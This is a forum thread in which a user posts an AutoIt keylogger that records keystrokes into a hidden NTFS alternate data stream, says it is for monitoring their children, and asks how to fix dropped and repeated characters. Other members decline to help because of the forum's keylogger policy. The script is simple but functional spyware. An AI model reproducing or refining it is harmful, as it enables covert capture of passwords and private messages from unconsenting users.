Recording keys

[MirnesC2]

Hello, I am trying to make a program some what like a keylogger. But I wont be using this program for any evil purposes, if anything it will be preventing evil! Trying to monitor my kids internet activity more closely so I decided to make a little program to help me out.

Here is my test program. (press "K" to view current content in DATA.dat)

expandcollapse popup

#include <Misc.au3>

$dll = DllOpen("user32.dll")

FileClose(FileOpen(@ScriptDir&"\DATA.dat", 2))
FileClose(FileOpen(@ScriptDir&"\DATA.dat:LOGS", 2))

While 1
    If _IsPressed("4B", $dll) Then
        MsgBox(0, "Content", FileRead(@ScriptDir&"\DATA.dat:LOGS"))
    EndIf

    If _IsPressed("20", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", " ")
        sleep("150")
    EndIf
    If _IsPressed("30", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "0")
        sleep("150")
    EndIf
    If _IsPressed("31", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "1")
        sleep("150")
    EndIf
    If _IsPressed("32", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "2")
        sleep("150")
    EndIf
    If _IsPressed("33", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "3")
        sleep("150")
    EndIf
    If _IsPressed("34", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "4")
        sleep("150")
    EndIf
    If _IsPressed("35", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "5")
        sleep("150")
    EndIf
    If _IsPressed("36", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "6")
        sleep("150")
    EndIf
    If _IsPressed("37", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "7")
        sleep("150")
    EndIf
    If _IsPressed("38", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "8")
        sleep("150")
    EndIf
    If _IsPressed("39", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "9")
        sleep("150")
    EndIf
    If _IsPressed("41", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "a")
        sleep("150")
    EndIf
    If _IsPressed("42", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "b")
        sleep("150")
    EndIf
    If _IsPressed("43", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "c")
        sleep("150")
    EndIf
    If _IsPressed("44", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "d")
        sleep("150")
    EndIf
    If _IsPressed("45", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "e")
        sleep("150")
    EndIf
    If _IsPressed("46", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "f")
        sleep("150")
    EndIf
    If _IsPressed("47", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "g")
        sleep("150")
    EndIf
    If _IsPressed("48", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "h")
        sleep("150")
    EndIf
    If _IsPressed("49", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "i")
        sleep("150")
    EndIf
    If _IsPressed("4A", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "j")
        sleep("150")
    EndIf
;~  If _IsPressed("4B", $dll) Then
;~         FileWrite(@ScriptDir&"\DATA.dat:LOGS", "k")
;~      sleep("150")
;~     EndIf
    If _IsPressed("4C", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "l")
        sleep("150")
    EndIf
    If _IsPressed("4D", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "m")
        sleep("150")
    EndIf
    If _IsPressed("4E", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "n")
        sleep("150")
    EndIf
    If _IsPressed("4F", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "o")
        sleep("150")
    EndIf
    If _IsPressed("50", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "p")
        sleep("150")
    EndIf
    If _IsPressed("51", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "q")
        sleep("150")
    EndIf
    If _IsPressed("52", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "r")
        sleep("150")
    EndIf
    If _IsPressed("53", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "s")
        sleep("150")
    EndIf
    If _IsPressed("54", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "t")
        sleep("150")
    EndIf
    If _IsPressed("55", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "u")
        sleep("150")
    EndIf
    If _IsPressed("56", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "v")
        sleep("150")
    EndIf
    If _IsPressed("57", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "w")
        sleep("150")
    EndIf
    If _IsPressed("58", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "x")
        sleep("150")
    EndIf
    If _IsPressed("59", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "y")
        sleep("150")
    EndIf
    If _IsPressed("5A", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "z")
        sleep("150")
    EndIf

WEnd
DllClose($dll)

The problem is that when I type something like "hello how are you" it comes out to something like "helo how ae yo" or "heelo howw arre youu". Is there any way I can fix this? Or a better way to do it other then _IsPressed method?

Edited January 10, 2010 by MirnesC2

[darkjohn20]

To the people on this forum, it doesn't matter what you use a keylogger for, you usually get warned or something and wont get any help.

But good luck.

[Minikori]

Hello, I am trying to make a program some what like a keylogger.

I know it's not for evil purposes, but someone with evil purposes intended could find this thread.